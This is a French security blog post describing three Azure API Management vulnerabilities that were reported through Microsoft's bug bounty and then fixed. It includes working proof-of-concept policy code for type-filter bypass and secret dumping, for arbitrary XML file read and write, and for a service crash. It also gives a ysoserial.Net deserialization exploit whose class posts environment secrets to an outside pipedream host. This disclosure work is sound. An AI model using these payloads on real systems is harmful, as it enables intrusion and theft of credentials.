Cherchez et vous trouverez : failles de sécurité dans Microsoft Azure
Dans les coulisses

Cherchez et vous trouverez : failles de sécurité dans Microsoft Azure

Martin Wrona
12.3.2024
Traduction: Alassane Ndiaye

Vous lisez le code comme s’il s’agissait d’un livre et vous vous intéressez à la sécurité des logiciels ? Alors vous faites partie du groupe cible auquel je souhaite m’adresser avec cet article.

En tant qu’ingénieur de sécurité logicielle, je m’intéresse quotidiennement à de nombreuses lignes de code qui n’ont pas été écrites par moi et qui sont parfois déjà un peu anciennes. Cette réalité professionnelle exige une compréhension approfondie de multiples bases de code dans des domaines très variés, afin d’identifier et de corriger de manière proactive les failles de sécurité potentielles. Cependant, notre environnement système requiert non seulement une connaissance approfondie de notre propre base de code, mais aussi des solutions et services externes intégrés dans nos systèmes.

Cette année, pendant mon temps libre, je me suis intéressé au service Gestion des API Azure, suite aux articles « orca security - Authenticated SSRF Vulnerability on Azure API Management Service » et [« Tenable Cloud Security - Uncovering 3 Azure API Management Vulnerabilities - When Good APIs Go Bad »](https://ermetic.com/blog/azure/when-good-apis-go-bad-uncovering-3-azure-api-management-vulnerabilities/ "Tenable Cloud Security - Uncovering 3 Azure API Management Vulnerabilities - When Good APIs Go Bad »). Je me suis dit que si l’on trouvait autant de faiblesses dans un service, alors il devait y en avoir d’autres. En analysant le service, j’ai finalement découvert trois points faibles sur lesquels j’écris ce rapport.

Qu’est-ce que la gestion des API Azure ?

Les API peuvent être créées et gérées via la passerelle de gestion des API Azure. Les développeurs et développeuses bénéficient d’un portail convivial avec de la documentation et des exemples de code pour une intégration sans problème. Ces composants sont hébergés dans Azure et sont entièrement gérés par défaut.

Pour plus d’informations sur le service, voici la documentation : [« Gestion des API – Manage APIs | Microsoft Azure »](https://azure.microsoft.com/fr-fr/products/api-management/).

### Expressions de stratégie La passerelle de gestion des API Azure offre la possibilité de manipuler les requêtes entrantes et sortantes, comme par exemple la mise en cache, la manipulation des en-têtes HTTP, la limitation du débit, la réécriture d’URL, etc. Le processus est le suivant :

Comme les manipulations statiques sont limitées et que Microsoft souhaite nous offrir plus de flexibilité, le code C# peut être écrit dans ce que l’on appelle des expressions de stratégie.

La documentation sur les expressions de stratégie contient une liste détaillée des types qui peuvent être utilisés pour créer des expressions. Le but de cette restriction de type est d’éviter que l’ensemble du framework NET (oui, c’est vrai, le service fonctionne encore sur le framework complet) ne soit disponible dans les stratégies et ne puisse causer des dommages à l’hôte sous-jacent du service.

En C# et dotnet, je ne connais aucun mécanisme qui filtre les types comme le mode de langue dans PowerShell. J’ai donc décidé d’examiner de plus près la mise en œuvre.

Lors des analyses de code, je me pose toujours la question suivante : « Est-ce que je réaliserais cette fonctionnalité de la même manière ? Si ce n’est pas le cas, pourquoi a-t-il été conçu de cette manière ? » Les fonctions de sécurité créées par les utilisateurs et utilisatrices ne sont souvent pas entièrement réfléchies et peuvent être contournées par des approches créatives.

Pour plus d’informations sur les expressions de stratégie et les types autorisés, consultez la documentation : « Expressions de stratégie de la Gestion des API Azure ».

Analyse technique

#1 Exécution de code arbitraire

Pour contourner le filtre de type, j’ai d’abord essayé de déclarer une variable comme « dynamic ». En C#, il est ainsi possible de déclarer des variables dont le type est déterminé au moment de l’exécution. Cela permet de définir des variables de manière analogue aux langages non fortement typés.

Il en a résulté un message d’erreur significatif qui m’a montré comment le filtrage des types avait été mis en œuvre.

CWE-1295 : Debug Messages Revealing Unnecessary Information
CWE-1295 : Debug Messages Revealing Unnecessary Information

Un exemple classique de « CWE-1295 » :

Debug messages are messages that help troubleshoot an issue by revealing the internal state of the system. 
… 
However, there is also the risk of revealing information that could help an attacker either decipher a vulnerability, and/or gain a better understanding of the system. Thus, this extra information could lower the "security by obscurity" factor. While "security by obscurity" alone is insufficient, it can help as a part of "Defense-in-depth".

Le message d’erreur indique que le filtre de type de Microsoft a été mis en œuvre avec un analyseur Roslyn.

Un analyseur Roslyn est un outil qui effectue une analyse statique du code pendant le développement afin d’identifier les problèmes potentiels, les améliorations ou les ajustements stylistiques dans le code source. Le compilateur Roslyn fournit des interfaces qui permettent d’implémenter des analyseurs personnalisés qui sont utilisés pendant le processus de compilation. Un exemple simple d’utilisation d’un analyseur Roslyn pourrait être la détection de variables ou de méthodes inutilisées dans un projet de code C#. L’analyseur déclencherait des alertes pendant le développement si des sections de code non utilisées étaient identifiées. Cependant, il y a des endroits où l’analyse statique donne l’alerte à tort. Par exemple, lorsque certaines méthodes sont utilisées lors de l’exécution, mais que cela n’est pas identifiable au moment de la compilation. Pour cela, il est possible de supprimer certains (ou tous) les analyseurs avec des directives de prétraitement pour certaines parties du code.

Les directives de préprocesseur sont des instructions dans le code qui imposent au compilateur certaines conditions pour la compilation.

Un exemple serait les fonctions de compatibilité sur les versions du framework : ```

if NET40

    WebClient _client = new WebClient();

else

    HttpClient _client = new HttpClient();

endif

#pragma warning disable

Cette directive permet de désactiver l’analyseur de filtre de type construit par l’utilisateur ou l’utilisatrice et tous les types du framework sont ensuite disponibles.

Documentation complémentaire sur les [« directives de préprocesseur C# | Microsoft Learn »](https://learn.microsoft.com/fr-fr/dotnet/csharp/language-reference/preprocessor-directives#pragma-warning).

Exploit

Dans mon exemple, que j’ai fourni au MSRC (Centre de réponse à la sécurité Microsoft), je donne toutes les variables d’environnement qui contiennent des informations internes/secrètes telles que des chaînes de connexion. Il serait ainsi possible, dans certaines circonstances, de continuer à se déplacer dans le réseau du serveur et de prendre ainsi le contrôle d’autres systèmes, ce que l’on appelle également « mouvement latéral ».

Cependant, en raison des directives du MSRC, je n’ai pas testé cette possibilité et j’en suis resté à ma preuve de concept. ``` <set-body>@{

pragma warning disable

var str = ""; foreach (System.Collections.DictionaryEntry de in Environment.GetEnvironmentVariables()) { str += $"{de.Key} = {de.Value}{Environment.NewLine}"; }

return str; }</set-body> ```

Timeline

24 janv. 2023 Rapport
26 janv. 2023 Début analyse MSRC / Repro
10 fév 2023 MSRC Fix en production

\N#2 Lecture et écriture arbitraires

Après avoir lu l’article de Tenable sur le même service en lien ci-dessus, j’ai voulu vérifier comment Microsoft avait corrigé l’erreur que j’avais trouvée. Mais comment le vérifier dans le cas d’une boîte noire ? Microsoft ne me donnera probablement pas le code source... ou bien si ?

En poursuivant mes recherches, je suis tombé sur la passerelle auto-hébergée. Il s’agit d’une version minimale, emballée dans docker, de la passerelle de gestion des API, qui peut être exploitée dans sa propre infrastructure.

Documentation complémentaire sur la passerelle auto-hébergée : [« Vue d’ensemble de la passerelle auto-hébergée | Microsoft Learn »](https://learn.microsoft.com/fr-fr/azure/api-management/self-hosted-gateway-overview).

Avec dive, j’ai examiné l’image Docker et j’ai ensuite extrait la couche qui m’intéressait :

Avec dotPeek (Décompilateur .NET), j’ai parcouru les fichiers extraits précédemment et je suis tombé sur l’analyseur maison mentionné ci-dessus. L’implémentation semblait très robuste au premier abord, mais mon attention a été attirée par un bloc « early return ».

L’analyseur permet d’afficher dans le bloc rouge une liste d’assemblies et donc tous les types qu’ils contiennent. À mon avis, cela ne devrait être utilisé qu’avec parcimonie dans une approche de liste blanche, car de nouvelles fonctions pourraient s’y glisser lors des mises à jour du framework.

Je me suis ensuite mis à la recherche de la définition des assemblies et j’ai trouvé ce que je cherchais dans « expressions.json ».

Les assemblies autorisés sont donc System.Xml et System.Xml.Linq. Cela contredit la documentation de Microsoft sur les types autorisés, car tous les types y sont explicitement énumérés. Quelqu’un y a donc pensé dans le passé, mais cela s’est sans doute perdu dans la mise en œuvre ou dans une mise à jour.

Exploit

System.Xml offre diverses fonctions d’accès en lecture et en écriture. Selon les autorisations de l’utilisateur ou de l’utilisatrice qui exécute le processus hôte, il est ainsi possible de manipuler des fichiers et donc d’obtenir une exécution de code arbitraire.

Lecture arbitraire
Les fichiers XML de l’hôte sous-jacent ont ainsi pu être lus.

<set-body>@{
  var path = @"test.xml";

  XmlDocument doc = new XmlDocument();
  doc.Load(path);
  return doc.OuterXml;
}</set-body>

Écriture arbitraire
Comme le service n’utilise pas de système de fichiers en lecture seule, il m’a également été possible d’écrire des fichiers dans le dossier de l’application. Dans ma preuve de concept, j’ai essayé de manipuler le fichier expressions.json de manière à ce que tous les types soient à nouveau disponibles. Malheureusement, cela n’a pas fonctionné, car il aurait fallu redémarrer l’application.

<set-body>@{
  try{
    var str = System.Net.WebUtility.UrlDecode(context.Request.Url.Query.GetValueOrDefault("content", "Hello World"));
    
    var settings = new XmlWriterSettings();
    settings.Indent = true;
    settings.IndentChars = "\t";
    settings.OmitXmlDeclaration = true;
    var writer = XmlWriter.Create(@"hello-world.txt", settings);
    writer.WriteRaw(str);
    writer.Flush();
    writer.Dispose();
    
    return "";
  }catch(Exception ex){
      return ex.Message;
  }
}</set-body>

Un blocage forcé du pool d’applications IIS par la stratégie suivante n’a malheureusement pas entraîné un redémarrage, mais a rendu le service définitivement inutilisable. Cela m’a obligé à supprimer l’instance existante et à en créer une nouvelle. ``` <set-body>@{ async void ex() { throw new Exception(); } ex();

return ""; }</set-body> ```

Les stratégies présentées ci-dessus ont été déployées après quelques essais supplémentaires concernant l’exécution de code à distance MSRC et ont été corrigées en tant qu’« escalade de privilèges ».

Timeline

09 juil. 2023 Rapport
14 juil. 2023 début analyse MSRC / Repro
17 août 2023 MSRC Fix en production

#3 Exécution de code arbitraire (désérialisation non sécurisée)

Lorsque j’ai essayé d’exécuter le code de vulnérabilité de lecture / d’écriture arbitraire, j’ai eu l’idée d’écrire un code intentionnellement vulnérable. Il existe de nombreuses méthodes d’attaque connues pour XML, et l’utilisation de XSLT (Transformation XSL) a permis de faire des découvertes intéressantes à ce sujet.

Traitement XSLT

Le framework .NET propose une extension de fonction qui permet de définir le code C# au sein d’un modèle. Cette section est ensuite compilée et exécutée pendant le traitement.

Documentation complémentaire sur msxml:script [« Blocs de scripts utilisant msxsl:script .NET | Microsoft Learn »](https://learn.microsoft.com/fr-fr/dotnet/standard/data/xml/script-blocks-using-msxsl-script).

<msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
  public string UserFunction(){
    return "Hello World";
  }
  ]]>
</msxsl:script>

L’exécution de mon bloc de script n’a pas fonctionné, mais j’ai reçu un message d’erreur très parlant qui m’a permis d’en savoir plus sur son fonctionnement.

 
Error occurred while compiling the script: Cannot execute a program. The command being executed was "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\apimuser_proxy\AppData\Local\Temp\l3fkjmcj.cmdline".

Le message d’erreur « Cannot execute a program » signifie que l’utilisateur ou l’utilisatrice qui exécute le service n’a pas l’autorisation de lancer d’autres processus. Cela est tout à fait logique du point de vue de la sécurité et a permis d’éviter d’autres dégâts à cet endroit.

Au début de mes essais, j’avais déjà remarqué que l’analyseur autorisait la fonction vulnérable bien connue Newtonsoft.Json.JsonConvert.DeserializeObject.

Pour que cette fonction exécute un code, une classe spécifique (appelée gadget) doit être désérialisée. Cette classe exécute le code dans le cadre du processus de désérialisation, dans le constructeur ou dans les méthodes getter/setter d’une propriété.

Documentation complémentaire sur la fonction connue pour être vulnérable DeserializeObject https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

YSoSerial.Net

Il existe le projet YSoSerial.Net, qui fournit une collection de telles classes de gadgets et un générateur de charge utile correspondant, qui peuvent être utilisés pour des attaques de désérialisation. La variante la plus simple est une payload POC qui démarre par exemple nslookup et résout un domaine basé sur https://log4shell.tools/ Comme l’utilisateur du pool d’applications IIS n’a pas l’autorisation de lancer des processus, cela n’a pas fonctionné lors de mon premier essai.

Après mes recherches, je suis tombé sur une autre variante de la payload, qui est disponible dans le cadre du gadget « DataSetOldBehaviourFromFile ». Cette payload permet d’exécuter le constructeur d’une classe définie par l’utilisateur ou l’utilisatrice.

Code de la classe d’exploit :

class E
{
    public E()
    {
        var str = "";
        foreach (System.Collections.DictionaryEntry de in System.Environment.GetEnvironmentVariables())
        {
            str += de.Key+" = "+de.Value+ System.Environment.NewLine;
        }
        new System.Net.Http.HttpClient().PostAsync("https://[redacted].m.pipedream.net", new System.Net.Http.StringContent(str)).GetAwaiter().GetResult();
    }
}

Le gadget « DataSetOldBehaviourFromFile » ne peut pas être appelé directement via Json.Net. Au lieu de cela, il a besoin du « pont » vers le BinaryFormatter, ce qui est rendu possible par l’indicateur -bgc Cli. L’utilisation de -bgc fonctionne, car la classe « RolePrincipal » utilise en interne le « BinaryFormatter ». Voir Source

Commande Cli utilisée :

\ysoserial.exe -f Json.Net -g RolePrincipal -o raw -c "ExploitClass.cs;System.Runtime.dll;System.IO.dll;System.dll;System.Core.dll;System.Net.Http.dll" -bgc DataSetOldBehaviourFromFile

Exploit

L’analyseur permet de définir les « JsonSerializerSettings », mais interdit l’accès à l’« enum TypeNameHandling », qui est nécessaire pour l’exécution de code. L’analyseur a pu être à nouveau contourné en effectuant un simple « cast de int vers enum ».

Exemple de stratégie :

<set-body>@{
    var payload = context.Request.Body.As<string>();

    try{
        string data = @"{
            '$type': 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
            'System.Security.ClaimsPrincipal.Identities': '"+payload+@"'
        }";

        object obj = JsonConvert.DeserializeObject<object>(data, new JsonSerializerSettings
        {
            TypeNameHandling = (Newtonsoft.Json.TypeNameHandling)4
        });
        return "OK";
    }
    catch(Exception ex){
        return JsonConvert.SerializeObject(ex);
    }
}</set-body>

Et le résultat de l’exécution avec divers secrets sur les systèmes internes de Microsoft.

Timeline

06 août 2023 Rapport
10 août 2023 Début analyse MSRC / Repro
29 août 2023 MSRC Fix en production

Verdict

L’exécution de code sur un point d’entrée central comme la gestion des API Azure peut poser des défis aux équipes de sécurité des entreprises. Comme il s’agit d’un service entièrement géré par Microsoft, il n’est pas possible d’accéder aux événements/protocoles du système hôte sous-jacent et l’installation d’un logiciel de surveillance du système est exclue. La détection de la persistance des attaques est donc plus difficile et les équipes de sécurité doivent s’en remettre à la détection de Microsoft.

Le Centre de réponse à la sécurité Microsoft a traité les vulnérabilités signalées avec la priorité appropriée et les a transmises au groupe de produits concerné. La communication s’est déroulée de manière professionnelle et, grâce aux POC que j’ai fournis, les correctifs ont pu être rapidement mis en œuvre dans l’environnement de production.

Cela n’était possible et légal que parce que Microsoft gère un programme Bug Bounty. Pour plus d’informations, consultez le site https://www.microsoft.com/en-us/msrc/bounty.

Saviez-vous que chez Digitec Galaxus, nous avons un programme de divulgation des vulnérabilités ? Les hackers éthiques peuvent également chercher des failles de sécurité chez nous, à condition de respecter les règles. Pour plus d’informations, voir https://www.galaxus.ch/security ```

Cet article plaît à 253 personne(s)


User Avatar
User Avatar
Martin Wrona
Senior Security Software Engineer
martin.wrona@digitecgalaxus.ch

Sécurité
Suivez les thèmes et restez informé dans les domaines qui vous intéressent.

Tech
Suivez les thèmes et restez informé dans les domaines qui vous intéressent.

Ces articles pourraient aussi vous intéresser

Commentaire(s)

Avatar